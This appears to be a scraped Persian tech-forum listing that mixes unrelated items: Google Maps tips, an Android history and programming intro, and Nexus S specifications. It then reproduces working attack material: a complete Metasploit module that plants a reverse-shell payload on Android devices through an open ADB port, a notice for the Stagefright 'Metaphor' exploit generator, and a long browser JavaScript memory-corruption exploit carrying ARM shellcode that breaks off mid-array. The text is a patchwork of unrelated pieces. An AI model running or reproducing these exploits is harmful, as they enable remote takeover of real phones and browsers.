    گوگل همیشه در حال توسعه‌دادن گوگل مپس می‌باشد و قصد دارد تا این اپ را با زندگی افراد همراه سازد. علاوه بر اینکه این سرویس به شما کمک می‌کند تا از مکانی به مکانی دیگر بروید، همه‌ی نقشه‌ها را به‌شما نمایش می‌دهد و همچنین می‌توانید مکان‌های مورد علاقه خود را نشانه‌گذاری کنید. در این مطلب می‌خواهیم 7 ترفند کاربردی برای گوگل‌ مپس را برای شما معرفی نماییم.
  16. Soft-Android

    Google Allo Download google allo
  17. Programming-Android

    آموزش برنامه نویسی اندروید را با آشنایی با این سیستم عامل شروع می‌کنیم. اندروید در یونانی به معنای آدم آهنی است. کار توسعه این سیستم عامل توسط گوگل انجام می‌شود و بر پایه هسته لینوکس است. سیستم عامل اندروید در سال 2005 از یک شرکت کوچک در کالیفرنیا خریداری شد. دست اندرکاران قبلی اندروید بعد از خریده شدن نرم افزار توسط گوگل به گوگل پیوستند و کار توسعه خود را سرعت بیشتری بخشیدند. گوگل در سال 2007 در یک نشست خبری اعلام کرد با همکاری 34 شرکت سعی در تغییر دنیای موبایل دارد. چند عدد از بهترین شرکت‌های موجود در لیست این 34 شرکت عبارتند از: گوگل کوالکام ال‌جی موتورولا انویدیا برودکام و... البته شرکت نوکیا به این انجمن نپیوست و همانطور که می‌دانید چیزی جز نابودی خاتمه فعالیت این شرکت نشد. اولین گوشی معرفی شده با سیستم عامل اندروید در سال 2008 توسط اچ‌تی‌سی با نام HTC Dream عرضه شد. گوگل هر چند وقت یک بروز رسانی جدید از اندروید عرضه می‌کند که تا کنون نسخه‌های زیر به بازار ارائه شده اند: ۲۳ دسامبر ۲۰۰۸: نسخه 1 Alpha ۹ فوریه ۲۰۰۹: نسخه 1/1 Beta ۳۰ آوریل ۲۰۰۹: نسخه 1/5 با نام Cupcake (کیک فنجانی) ۱۵ سپتامبر ۲۰۰۹: نسخه 1/6 با نام Donut (دونات) ۲۶ اکتبر ۲۰۰۹: نسخه 2/0 و 2/1 با نام Eclair (نان خامه‌ای) ۲۰ می۲۰۱۰: نسخه 2/2 با نام Froyo (ماست یخ زده) 6 دسامبر 2010: نسخه 2/3 با نام Gingerbread (نان زنجبیلی) ۲۲ فوریه ۲۰۱۱: نسخه 3/0 و 3/1 و 3/2 با نام Honeycomb (کندوی عسل) نوامبر ۲۰۱۱: نسخه 4/0 با نام Ice Cream Sandwich (ساندویچ بستنی) ۰۹ ژوئیه ۲۰۱۲: نسخه 4/1 و 4/2 و 4/3 با نام Jelly Bean (آب نبات ژله ای) ۳۱ اکتبر ۲۰۱۳: نسخه 4/4 با نام KitKat (کیت کت) ۱۲ نوامبر ۲۰۱۴: نسخه 5/0 با نام Lollipop (آبنبات چوبی) ۰۵ اکتبر ۲۰۱۵: نسخه 6 با نام Marshmallow (پف نبات) ۲۲ اوت ۲۰۱۶: نسخه 7 با نام Nougat (شیرینی تبریزی نقات) نکته: البته روش دیگری برای شماره گذاری نسخه‌های اندروید وجود دارد که می‌توانید در این لینک مشاهده کنید. اگر لیست نام نسخه‌های مختلف اندروید را دوباره نگاه کنید متوجه می‌شوید حرف اول نام هر نسخه به ترتیب حروف الفبای انگلیسی انتخاب شده است. به گفته مدیران اندروید، بزرگترین بروز رسانی اندروید در نسخه 5 بوده است. لوگوی اندروید لوگوی اندروید توسط irina blok طراح مطرح لوگوی تعداد زیادی از شرکت‌های مطرح جهان صورت پذیرفته است. شاید برایتان عجیب باشد ولی این طراح روسی اعلام کرده است که ایده طراحی این لوگوی معروف را از علامت مرد و زن موجود در توالت‌های عمومی گرفته است! نکته جالب دیگر در مورد لوگوی اندروید این است که گوگل مجوز این لوگو را به صورت Open Source منتشر کرده است تا هر کسی که می‌خواهد آن را عوض کند. ویژگی‌ها و نقاط قوت اندروید اندروید تمام تکنولوژی‌های مطرح ارتباطات از جمله bluetooth و Wifi و GSM و WCDMA و LTE و ... را پشتیبانی می‌کند. اندروید از انواع سنسورها و GPS و دوربین‌ها پشتیبانی می‌کند. اندروید فرمت‌های متنوع صوتی، تصویری و فیلم‌ها را پشتیبانی می‌کند. مرورگر این سیستم عامل با WebKit پیاده سازی شده است. پایگاه داده پیش فرض اندروید SQLite است. ابزارهای متنوع توسعه و برنامه نویسی اندروید توسط گوگل در اختیار برنامه نویسان قرار می‌گیرد. زبان برنامه نویسی نرم افزار برای اندروید ابزارهای موجود در اندروید و هر نرم افزاری که قرار است روی اندروید پیاده شود باید با زبان جاوا نوشته شده باشد. در این سیستم عامل کدهای جاوا تبدیل به کدهای Dalvik شده و سپس روی ماشین مجازی Dalvik virtual machine اجرا می‌شوند. Dalvik یک ماشین مجازی بهینه برای پیاده سازی نرم افزارهای قدرتمند با مصرف بهینه از Ram و Cpu است. برای ارتباط با سیستم عامل گوگل API‌هایی را در اختیار برنامه نویسان قرار داده است که تقریبا امکان انجام هر کاری را برای برنامه نویس محیا می‌کند. گوگل در ابتدا محیط برنامه نویسی Eclipse را به همراه پلاگین ADT عرضه کرد. این محیط توسعه هنوز توسط توسعه دهندگان بسیاری طرفداران سر سختی دارد. پس از ارائه Eclipse گوگل محیط توسعه Android Studio را بر اساس پلتفرم IntelliJ IDEA ارائه کرد. در ابتدا این محیط توسعه مشکلات فراوانی داشت به همین دلیل مورد استقبال توسعه دهندگان قرار نگرفت، ولی این محیط توسعه در نسخه 2 خود بسیار رشد کرده است و اکثر برنامه نویسان اندروید به سمت این محیط توسعه کوچ کرده اند.
  18. Mobile-SAMSUNG

    مشخصات عمومی سامسونگ Google Nexus S شبکه 2G GSM 850 / 900 / 1800 / 1900 شبکه 3G HSDPA 900 / 1700 / 2100 تاریخ معرفی 2010, دسامبر وضعیت موجود در بازار. عرضه شده در دسامبر 2010 اندازه سامسونگ Google Nexus S ابعاد 123.9x63x10.9 میلیمتر وزن 129 گرم صفحه نمایش سامسونگ Google Nexus S نوع صفحه نمایش لمسی خازنی Super AMOLED, با 16 میلیون رنگ اندازه 480x800 پیکسل, 4.0 اینچ - Oleophobic surface - Contour Display with curved glass screen - Multi-touch input method - Accelerometer sensor for UI auto-rotate - Touch-sensitive controls - Proximity sensor for auto turn-off - Three-axis gyro sensor زنگ سامسونگ Google Nexus S انواع زنگ ویبریشن; MP3, WAV زنگ اسپیکر - 3.5 mm audio jack حافظه سامسونگ Google Nexus S دفتر تلفن تعداد نامحدود و همراه همه جزئیات, حافظه تصویری حافظه تماس ها نامحدود داخل دستگاه 16GB حافظه داخلی, دارای 512 مگابایت RAM کارت حافظه امکانات ارتباطی سامسونگ Google Nexus S GPRS EDGE 3G HSDPA, 7.2 Mbps; HSUPA, 5.76 Mbps شبکه بی سیم Wi-Fi 802.11 b/g/n; DLNA بلوتوث دارد, v2.1 with A2DP مادون قرمز USB دارد, v2.0 microUSB دوربین سامسونگ Google Nexus S اصلی 5 مگاپیکسل, 2560x1920 پیکسل, فوکوس اتوماتیک, فلش LED دیگر امکانات ثبت اطلاعات مکانی (geo-tagging), فوکوس لمسی (touch focus) فیلم برداری دارد, WVGAبا سرعت 30 فریم در ثانیه ثانویه دارد, VGA دیگر امکانات سامسونگ Google Nexus S OS سیستم عامل اندروید, v2.3 Gingerbread CPU ARM Cortex A8 1GHz processor پیغام رسانی SMS(threaded view), MMS, Email, Push Mail, IM, RSS مرورگر وب HTML رادیو بازی ها رنگ بندی مشكی موقعیت یاب (GPS) دارد, with A-GPS support جاوا Via third party application - Social networking integration - Digital compass - MP4/DivX/WMV/H.264/H.263 player - MP3/WAV/eAAC+/AC3/FLAC player - Organizer - Image/video editor - Document editor (Word, Excel, PowerPoint, PDF) - Google Search, Maps, Gmail, YouTube, Calendar, Google Talk, Picasa integration - Flash Player v10.1 - Voice memo/dial/commands - Predictive text input - Near Field Communications باطری سامسونگ Google Nexus S Standard battery, Li-Ion 1500 mAh زمان آماده باش تا 713 ساعت (2G) / تا 428 ساعت (3G) زمان صحبت تا 14 ساعت (2G) / تا 6 ساعت و 40 دقیقه (3G) سایر موارد سامسونگ Google Nexus S سطح قیمت حدود 650 یورو
  19. باسلام درخواست نرم افزار google earth رو داشتم
  20. Programming-Android

    باسلام . معین سون هستم . آموزش 0 تا 100 جاوا به زبان فارسی قوانین تاپیک : 1-پرسش ممنوع 2-اسپم ممنوع 3- ارسال ممنوع سوالات در بخش پرسش و پاسخ مطرح شود .
  21. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/adb' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Android ADB Debug Server Remote Payload Execution', 'Description' => %q{ Writes and spawns a native payload on an android device that is listening for adb debug messages. }, 'Author' => ['joev'], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' }, 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE], 'Targets' => [ ['armle', {'Arch' => ARCH_ARMLE}], ['x86', {'Arch' => ARCH_X86}], ['x64', {'Arch' => ARCH_X86_64}], ['mipsle', {'Arch' => ARCH_MIPSLE}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 2016' )) register_options([ Opt::RPORT(5555), OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']) ], self.class) end def check setup_adb_connection do device_info = @adb_client.connect.data print_good "Detected device:\n#{device_info}" return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Unknown end def execute_command(cmd, opts) response = @adb_client.exec_cmd(cmd) print_good "Command executed, response:\n #{response}" end def exploit setup_adb_connection do device_data = @adb_client.connect print_good "Connected to device:\n#{device_data.data}" execute_cmdstager({ flavor: :echo, enc_format: :octal, prefix: '\\\\0', temp: datastore['WritableDir'], linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8, background: true, nodelete: true }) end end def setup_adb_connection(&blk) begin print_status "Connecting to device..." connect @adb_client = Rex::Proto::ADB::Client.new(sock) blk.call ensure disconnect end end end
  22. Source: https://github.com/NorthBit/Metaphor Metaphor - Stagefright with ASLR bypass By Hanan Be'er from NorthBit Ltd. Link to whitepaper: https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf Twitter: https://twitter.com/High_Byte Metaphor's source code is now released! The source include a PoC that generates MP4 exploits in real-time and bypassing ASLR. The PoC includes lookup tables for Nexus 5 Build LRX22C with Android 5.0.1. Server-side of the PoC include simple PHP scripts that run the exploit generator - I'm using XAMPP to serve gzipped MP4 files. The attack page is index.php. The exploit generator is written in Python and used by the PHP code. usage: metaphor.py [-h] [-c CONFIG] -o OUTPUT {leak,rce,suicide} ... positional arguments: {leak,rce,suicide} Type of exploit to generate optional arguments: -h, --help show this help message and exit -c CONFIG, --config CONFIG Override exploit configuration -o OUTPUT, --output OUTPUT Credits: To the NorthBit team E.P. - My shining paladin, for assisting in boosting this project to achieve all the goals. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39640.zip
  23. Hacking

    <!-- author:@oldfresher --> <html> <div id="message" style="color: red;"></div> <script> function gc(){ for(var i=0;i<0x200000;i++){ new Array; } } function to_hex(num){ return (num>>>0).toString(16); } function log (){ var str = "<h3>"; for(var i=0;i<arguments.length;i++){ str+=arguments[i]; } str += "</h3>"; console.log(str); document.write(str); } function set_access_address(address){ controllerdv.setUint32(3*4,address,true); controllerdv.setUint32(4*4,0x40000000,true); } function get_dateview(address){ set_access_address(address); if(this.controlleedv === undefined){ this.controlleedv = new DataView(controlee); } return this.controlleedv; } function read_uint32(from_address){ return get_dateview(from_address).getUint32(0,true); } function write_uint32(to_address,writed_value){ get_dateview(to_address).setUint32(0,writed_value,true); } function dumpHex(address){ str = "\n" for(var i=0;i<20;i++){ str+=read_uint32(address+i*4).toString(16)+" "; if(i%4==3)str+="\n"; } log(str); } var kMessages; Object.prototype.__defineGetter__("observe_accept_invalid",function(){ log("called"); kMessages=this}); try{Object.observe({},function(){},1)}catch(e){} delete Object.prototype["observe_accept_invalid"]; kMessages["strict_read_only_property"].push("%3"); kMessages["object_not_extensible"].push("%3"); var args = null; Array.prototype.__defineGetter__(3,function(){ log("3 get called"); args=this}) var p = Promise.defer(); Object.freeze(p.promise) try{p.reject(1)}catch(e){} var promiseStatusSymbole = args[0]; var flag = true; Object.prototype.__defineSetter__(promiseStatusSymbole,function(){ log("set status called"); if(flag){Object.freeze(this)}}) try{new Promise(function(){})}catch(e){} var promiseValueSymbol = args[0]; flag=false; delete Object.prototype[promiseStatusSymbole]; flag = true; Object.prototype.__defineSetter__(promiseValueSymbol,function(){ log("set status called"); if(flag){Object.freeze(this)}}) try{new Promise(function(){})}catch(e){} var promiseOnResolveSymbol = args[0]; flag=false; delete Object.prototype[promiseValueSymbol]; delete Array.prototype[3]; kMessages["strict_read_only_property"].pop(); kMessages["object_not_extensible"].pop(); var pro = new Promise(function(){}); var onResolve=pro[promiseOnResolveSymbol]; var InternalArray = Object.getPrototypeOf(onResolve) var innerProto = {__proto__:null} function toHex(str) { var hex = ''; for(var i=0;i<str.length;i++) { var temp = ("0"+ str.charCodeAt(i).toString(16)).substr(-2); hex += temp;if(i%4==3)hex += ' '; } return hex; } var overwrite; /* 0x5a0df8e8: 0x5a0df429 0x9f808531 0x00000003 0x00000020 0x5a0df8f8: 0x61616161 0x61616161 0x61616161 0x9f616161 0x5a0df908: 0x9f80af89 0x9fa08089 0x9fa08089 0x9ff9a000 0x5a0df918: 0x00004000 0x00000000 0x9ed38931 0x9fb08091 0x5a0df928: 0x00000000 0x00000000 0x9f808121 0x00000100 0x5a0df938: 0x000000c2 0x000000c2 0x000000c2 0x000000c2 */ var ga; Object.prototype.__defineSetter__.call(innerProto,0, function(val){ log("set 0 called");/*innerArray=this;*/ //set hole //Object.defineProperty(this,0,{value:val}); } ) var steps="leaking"; var controller=null; Object.prototype.__defineGetter__.call(innerProto,0, function(){ if(steps==="leaking"){ this.length=1; }else{ controller= new ArrayBuffer(0x1000); disableHook(); steps="leaking"; var abStr = leakArrayBuffer(); log("internal Array length is "+this.length); var oldLength = this.length; for(var i=0;i<abStr.length;i++){ this[i+oldLength]=abStr.charCodeAt(i); } log(JSON.stringify(this)); } log("get--- 0 called"); return 0x48; } ); function enalbeHook(){ Object.setPrototypeOf(InternalArray,innerProto) } function disableHook(){ Object.setPrototypeOf(InternalArray,null); } function str2dv(str){ var ab = new ArrayBuffer(str.length); var dv = new DataView(ab); for(var i=0;i<str.length;i++){ dv.setUint8(i,str.charCodeAt(i)); } return dv; } function leakArrayBuffer(){ var encoded = "aaaaaaaa"; for(var i=0;i<7;i++)encoded+=encoded; log("string length is "+encoded.length); enalbeHook(); var encodedResult = encodeURI(encoded); disableHook(); //find modified ArrayBuffer log(toHex(encodedResult)); var pattern = String.fromCharCode(0x80,0x80,0x80,0,0x80,0x80,0x80,0,0x80,0x80,0x80,0); var index = encodedResult.indexOf(pattern,36); if(index==-1){ throw "find modified array buffer failed"; } var str=encodedResult.substr(index-4,4); controleeAddress=String.fromCharCode(str.charCodeAt(0)-1)+str.substr(1,3); //find sprayed ArrayBuffer pattern = String.fromCharCode(0x20,0,0,0,0,0,0,0); index = encodedResult.indexOf(pattern,36); log(toHex(encodedResult)); if(index==-1){ throw "find array buffer failed"; } log("find array bufer at "+index); var abStr = encodedResult.substr(index-16,12); abStr += controleeAddress; controleeAddress=str2dv(controleeAddress).getUint32(0,true); abStr += String.fromCharCode(0,0,0,2); log(toHex(abStr)); return abStr; } steps="overwrite"; //controller modify controlee var controlee = new ArrayBuffer(0x10000); controlee[0]={};//防止map改变 controlee[1]={};//防止map改变 controlee[2]={};//防止map改变 //spray for(var i=0;i<0x200000/16;i++){new Array}//move controlee to old space for(var i=0;i<0xc000;i++){ var ab=new ArrayBuffer(0x10); ab[0]=controlee; ab[1]=0x404040; ab[2]=0x404040; ab[3]=0x404040 }; var encoded2="1111"; enalbeHook(); var encodedResult = encodeURI(encoded2); disableHook(); log("byte length of controller is "+controller.byteLength+typeof(controller)); if(typeof(controller)!="object"||controller.byteLength!=0x1000000){ alert("modify controller failed"); throw("error"); } var controllerdv = new DataView(controller); log("controller memory layout"); for(var i=0;i<10;i++){ log(("00000000"+controllerdv.getUint32(i*4).toString(16)).substr(-8)); } //生成一块足够大的可读写内存 var huge_str = "eval('');"; for(var i=0;i<8000;i++) huge_str += 'a.a;'; huge_str += "return 10;"; var huge_func = new Function('a',huge_str); huge_func({}); var text = new Text(""); var normalArrayBufferLength = 0x800000; controlee[0]=new ArrayBuffer(normalArrayBufferLength); controlee[1]=huge_func; controlee[2]=text; var normalArrayBuffer= controlee[0]; var controleeElementAddress = read_uint32(controleeAddress+8,true)-1; dumpHex(controleeElementAddress); var normalArrayBufferAddress = read_uint32(controleeElementAddress+8,true)-1; var functionAddress = read_uint32(controleeElementAddress+12,true)-1; var textAddress = read_uint32(controleeElementAddress+16,true)-1; var normalArrayBufferBackingStore = read_uint32(normalArrayBufferAddress+3*4,true); var rwxAddress = read_uint32(functionAddress+3*4); var wrapperTypeInfo=read_uint32(textAddress+3*4); log("rwxAddress "+to_hex(rwxAddress)+" wrapperTypeInfo "+to_hex(wrapperTypeInfo)); function find(start,len,pattern){ log("find start at "+ to_hex(start)); var dv = get_dateview(start); for(var i=0;i<len-pattern.length*4;i++){ for(var j=0;j<pattern.length;j++){ if(dv.getUint32(i+j*4,true)!=pattern[j]) break; } if(j==pattern.length) return start+i; } alert("find failed"); } //var magic_number=[0xeef6f71e,0xb1104604,0x47a02010];//get_elf_hwcap_from_getauxval,0x447949c3 var magic_number=[0xb1104604,0x47a02010,0x46284604];//get_elf_hwcap_from_getauxval,0x447949c3 var magic_position=find((wrapperTypeInfo&~0xfff)-0x1546000,0x2000000,magic_number); log("find magic at "+to_hex(magic_position));//78 f6 bc ee function get_dest_from_blx(addr) { var val = read_uint32(addr); var s = (val & 0x400) >> 10; var i1 = 1 - (((val & 0x20000000) >> 29) ^ s); var i2 = 1 - (((val & 0x8000000) >> 27) ^ s); var i10h = val & 0x3ff; var i10l = (val & 0x7fe0000) >> 17; var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2); return ((addr + 4) & ~3) + off; } var dlsym_addr = get_dest_from_blx(magic_position-4); log("dlsym address is "+to_hex(dlsym_addr)); var so_str=""; var shellcode = [0xf0,0x4f,0x2d,0xe9,0x2d,0xb0,0xa0,0xe3,0xa8,0x1b,0xdf,0xed,0x4f,0xdf,0x4d,0xe2,0x60,0xa0,0xa0,0xe3,0xa7,0x0b,0xdf,0xed,0x67,0x80,0xa0,0xe3,0x20,0xe0,0xa0,0xe3,0x18,0x00,0x8d,0xe5,0x78,0x00,0xa0,0xe3,0x00,0x30,0xa0,0xe3,0xf4,0xb0,0xcd,0xe5,0x70,0xb0,0xa0,0xe3,0x6c,0x20,0xa0,0xe3,0x74,0xc0,0xa0,0xe3,0x6f,0x50,0xa0,0xe3,0xf2,0x80,0xcd,0xe5,0x69,0x40,0xa0,0xe3,0x65,0x60,0xa0,0xe3,0xf8,0x00,0xcd,0xe5,0x64,0x10,0xa0,0xe3,0x73,0x70,0xa0,0xe3,0xf9,0xb0,0xcd,0xe5,0x5f,0x80,0xa0,0xe3,0xff,0xa0,0xcd,0xe5,0x6d,0x00,0xa0,0xe3,0x02,0xa1,0xcd,0xe5,0x61,0xb0,0xa0,0xe3,0x79,0xa0,0xa0,0xe3,0x1a,0x1b,0xcd,0xed,0xf3,0xe0,0xcd,0xe5,0x72,0x90,0xa0,0xe3,0xf6,0xe0,0xcd,0xe5,0xfe,0xe0,0xcd,0xe5,0x03,0x31,0xcd,0xe5,0x5e,0x30,0xcd,0xe5,0xf0,0x20,0xcd,0xe5,0xfa,0x20,0xcd,0xe5,0xf1,0x50,0xcd,0xe5,0xfb,0x50,0xcd,0xe5,0xf5,0xc0,0xcd,0xe5,0xfd,0xc0,0xcd,0xe5,0x5b,0xc0,0xcd,0xe5,0xf7,0x60,0xcd,0xe5,0x5c,0x60,0xcd,0xe5,0xfc,0x40,0xcd,0xe5,0x00,0x41,0xcd,0xe5,0x01,0x11,0xcd,0xe5,0x0c,0x11,0xcd,0xe5,0x58,0x70,0xcd,0xe5,0x5a,0x70,0xcd,0xe5,0x59,0xa0,0xcd,0xe5,0x25,0xa0,0xa0,0xe3,0x5d,0x00,0xcd,0xe5,0x6e,0x00,0xa0,0xe3,0x08,0x81,0xcd,0xe5,0x09,0x81,0xcd,0xe5,0x0a,0xb1,0xcd,0xe5,0x2c,0xb0,0xa0,0xe3,0x11,0x81,0xcd,0xe5,0x15,0x81,0xcd,0xe5,0x70,0x80,0xa0,0xe3,0x0b,0x01,0xcd,0xe5,0x67,0x00,0xa0,0xe3,0x16,0x81,0xcd,0xe5,0x6d,0x80,0xa0,0xe3,0x0d,0x91,0xcd,0xe5,0x54,0x80,0xcd,0xe5,0x90,0x80,0xcd,0xe5,0x70,0x80,0xa0,0xe3,0x14,0x01,0xcd,0xe5,0x6e,0x00,0xa0,0xe3,0x0e,0x51,0xcd,0xe5,0x10,0x11,0xcd,0xe5,0x13,0x51,0xcd,0xe5,0x17,0x91,0xcd,0xe5,0x50,0x10,0xcd,0xe5,0x79,0x10,0xa0,0xe3,0x91,0x80,0xcd,0xe5,0x70,0x80,0x8d,0xe2,0x92,0x90,0xcd,0xe5,0xe0,0x90,0x8d,0xe2,0x93,0x50,0xcd,0xe5,0x6e,0x50,0xa0,0xe3,0x1b,0x31,0xcd,0xe5,0x55,0x30,0xcd,0xe5,0x98,0x30,0xcd,0xe5,0x0f,0x41,0xcd,0xe5,0x12,0x21,0xcd,0xe5,0x18,0x41,0xcd,0xe5,0x19,0x01,0xcd,0xe5,0x68,0x00,0x8d,0xe2,0x1a,0xc1,0xcd,0xe5,0x51,0x20,0xcd,0xe5,0x52,0x70,0xcd,0xe5,0x53,0x10,0xcd,0xe5,0x03,0x10,0xa0,0xe1,0x30,0x80,0x8d,0xe5,0x34,0x90,0x8d,0xe5,0x94,0xc0,0xcd,0xe5,0x95,0x60,0xcd,0xe5,0x97,0xc0,0xcd,0xe5,0x63,0xc0,0xa0,0xe3,0xe0,0x40,0xcd,0xe5,0x68,0x40,0xa0,0xe3,0xe1,0x50,0xcd,0xe5,0x1c,0x0b,0xcd,0xed,0xe3,0x70,0xcd,0xe5,0x18,0x70,0x9d,0xe5,0xe6,0x20,0xcd,0xe5,0xe7,0x20,0xcd,0xe5,0x78,0x20,0xa0,0xe3,0x96,0xc0,0xcd,0xe5,0xe2,0xe0,0xcd,0xe5,0x00,0x80,0x97,0xe5,0xe8,0xe0,0xcd,0xe5,0xea,0x20,0xcd,0xe5,0xed,0x20,0xcd,0xe5,0xee,0x30,0xcd,0xe5,0xe5,0x60,0xcd,0xe5,0x04,0x60,0x97,0xe5,0xe9,0xa0,0xcd,0xe5,0xec,0xa0,0xcd,0xe5,0xeb,0xb0,0xcd,0xe5,0xe4,0x40,0xcd,0xe5,0x38,0xff,0x2f,0xe1,0x50,0x10,0x8d,0xe2,0x36,0xff,0x2f,0xe1,0x10,0x00,0x8d,0xe5,0x42,0x1f,0x8d,0xe2,0x00,0x00,0xe0,0xe3,0x10,0xa0,0x9d,0xe5,0x3a,0xff,0x2f,0xe1,0x0c,0xb0,0x97,0xe5,0x2c,0x00,0x8d,0xe5,0xe0,0x20,0x8d,0xe2,0x08,0x30,0x97,0xe5,0x70,0x10,0x8d,0xe2,0x02,0x00,0xa0,0xe3,0x2c,0x90,0x9d,0xe5,0x00,0xb0,0x8d,0xe5,0x39,0xff,0x2f,0xe1,0x58,0x10,0x8d,0xe2,0x00,0x00,0xe0,0xe3,0x3a,0xff,0x2f,0xe1,0x00,0x30,0xa0,0xe1,0xf0,0x00,0x8d,0xe2,0x33,0xff,0x2f,0xe1,0x00,0x00,0xe0,0xe3,0x90,0x10,0x8d,0xe2,0x3a,0xff,0x2f,0xe1,0x00,0xc0,0xa0,0xe1,0x08,0x00,0x97,0xe5,0x01,0x00,0x70,0xe3,0x7d,0x01,0x00,0x0a,0x18,0xe0,0x9d,0xe5,0x01,0x5a,0x8e,0xe2,0xff,0x6e,0xc5,0xe3,0x07,0x20,0xa0,0xe3,0x0f,0xa0,0xc6,0xe3,0x0b,0x1a,0xa0,0xe3,0x01,0x0a,0x8a,0xe2,0x05,0x4a,0x85,0xe2,0x3c,0xff,0x2f,0xe1,0xbc,0xa2,0xd5,0xe1,0x1c,0x20,0x95,0xe5,0x00,0x00,0x5a,0xe3,0x02,0x20,0x85,0xe0,0x00,0xe0,0xa0,0x13,0x09,0x00,0x00,0x1a,0x1e,0x00,0x00,0xea,0x00,0xf0,0x20,0xe3,0x6c,0x69,0x62,0x63,0x2e,0x73,0x6f,0x00,0x65,0x78,0x70,0x6c,0x6f,0x69,0x74,0x00,0x01,0xe0,0x8e,0xe2,0x20,0x20,0x82,0xe2,0x0a,0x00,0x5e,0xe1,0x15,0x00,0x00,0x2a,0x00,0xb0,0x92,0xe5,0x01,0x00,0x5b,0xe3,0xf8,0xff,0xff,0x1a,0x10,0x90,0x92,0xe5,0x00,0x00,0x59,0xe3,0xf5,0xff,0xff,0x0a,0x00,0x30,0xa0,0xe3,0x04,0xc0,0x92,0xe5,0x03,0x70,0x85,0xe0,0x03,0x00,0x84,0xe0,0x08,0x10,0x92,0xe5,0x01,0x30,0x83,0xe2,0x0c,0x80,0xd7,0xe7,0x01,0x80,0xc0,0xe7,0x10,0x60,0x92,0xe5,0x06,0x00,0x53,0xe1,0xf5,0xff,0xff,0x3a,0xbc,0xa2,0xd5,0xe1,0x01,0xe0,0x8e,0xe2,0x20,0x20,0x82,0xe2,0x0a,0x00,0x5e,0xe1,0xe9,0xff,0xff,0x3a,0x5f,0xe0,0xa0,0xe3,0x64,0xc0,0xa0,0xe3,0x61,0xb0,0xa0,0xe3,0x72,0x60,0xa0,0xe3,0x00,0x90,0xa0,0xe3,0x74,0x70,0xa0,0xe3,0x20,0xe1,0xcd,0xe5,0x6e,0xa0,0xa0,0xe3,0x69,0x20,0xa0,0xe3,0x21,0xe1,0xcd,0xe5,0x6f,0x30,0xa0,0xe3,0x29,0xe1,0xcd,0xe5,0x12,0x8e,0x8d,0xe2,0x2d,0xe1,0xcd,0xe5,0x6c,0xe0,0xa0,0xe3,0x08,0x10,0xa0,0xe1,0x22,0xb1,0xcd,0xe5,0x67,0xb0,0xa0,0xe3,0x00,0x00,0xe0,0xe3,0x24,0xc1,0xcd,0xe5,0x28,0xc1,0xcd,0xe5,0x70,0xc0,0xa0,0xe3,0x23,0xa1,0xcd,0xe5,0x31,0xa1,0xcd,0xe5,0x25,0x61,0xcd,0xe5,0x2f,0x61,0xcd,0xe5,0x26,0x31,0xcd,0xe5,0x2b,0x31,0xcd,0xe5,0x10,0x30,0x9d,0xe5,0x27,0x21,0xcd,0xe5,0x30,0x21,0xcd,0xe5,0x2a,0xe1,0xcd,0xe5,0x2c,0xb1,0xcd,0xe5,0x63,0xb0,0xa0,0xe3,0x2e,0xc1,0xcd,0xe5,0x32,0x71,0xcd,0xe5,0x33,0x91,0xcd,0xe5,0x33,0xff,0x2f,0xe1,0x70,0x20,0xa0,0xe3,0x73,0xe0,0xa0,0xe3,0x0c,0x00,0x8d,0xe5,0x6d,0xc0,0xa0,0xe3,0x61,0x70,0xcd,0xe5,0x60,0x10,0x8d,0xe2,0x62,0x60,0xcd,0xe5,0x10,0x30,0x9d,0xe5,0x00,0x00,0xe0,0xe3,0x65,0x20,0xcd,0xe5,0x60,0xe0,0xcd,0xe5,0x63,0xb0,0xcd,0xe5,0x64,0xc0,0xcd,0xe5,0x66,0x90,0xcd,0xe5,0x33,0xff,0x2f,0xe1,0xb2,0xe3,0xd5,0xe1,0x25,0x20,0xa0,0xe3,0x08,0x10,0xa0,0xe1,0x20,0xc0,0x95,0xe5,0xa8,0x90,0xcd,0xe5,0x78,0x30,0xa0,0xe3,0xa0,0x20,0xcd,0xe5,0x00,0xb0,0xa0,0xe1,0x02,0x00,0xa0,0xe3,0xa3,0x20,0xcd,0xe5,0x0e,0x81,0x8e,0xe0,0xa6,0x20,0xcd,0xe5,0x2c,0xe0,0xa0,0xe3,0x0c,0x20,0x85,0xe0,0xa1,0x30,0xcd,0xe5,0x88,0xc1,0x8c,0xe0,0xa2,0xe0,0xcd,0xe5,0xa5,0xe0,0xcd,0xe5,0x05,0xc0,0x8c,0xe0,0x14,0x20,0x8d,0xe5,0xa0,0x20,0x8d,0xe2,0x10,0x80,0x9c,0xe5,0xa4,0x30,0xcd,0xe5,0xa7,0x30,0xcd,0xe5,0x05,0x30,0xa0,0xe1,0x00,0xc0,0x8d,0xe5,0x0c,0xc0,0x9d,0xe5,0x08,0xe0,0x85,0xe0,0x6d,0x80,0xa0,0xe3,0x04,0xe0,0x8d,0xe5,0x08,0xe0,0x8d,0xe5,0x3c,0xff,0x2f,0xe1,0x64,0xe0,0xa0,0xe3,0x73,0x00,0xa0,0xe3,0x86,0x80,0xcd,0xe5,0x2e,0x30,0xa0,0xe3,0x79,0x20,0xa0,0xe3,0x83,0xa0,0xcd,0xe5,0x65,0x10,0xa0,0xe3,0x81,0xe0,0xcd,0xe5,0x67,0xc0,0xa0,0xe3,0x84,0x00,0xcd,0xe5,0x70,0x80,0xa0,0xe3,0x89,0xe0,0xcd,0xe5,0x6f,0xe0,0xa0,0xe3,0x8c,0x00,0xcd,0xe5,0x6c,0x00,0xa0,0xe3,0x8b,0xa0,0xcd,0xe5,0x8d,0x70,0xcd,0xe5,0x8e,0x60,0xcd,0xe5,0x49,0x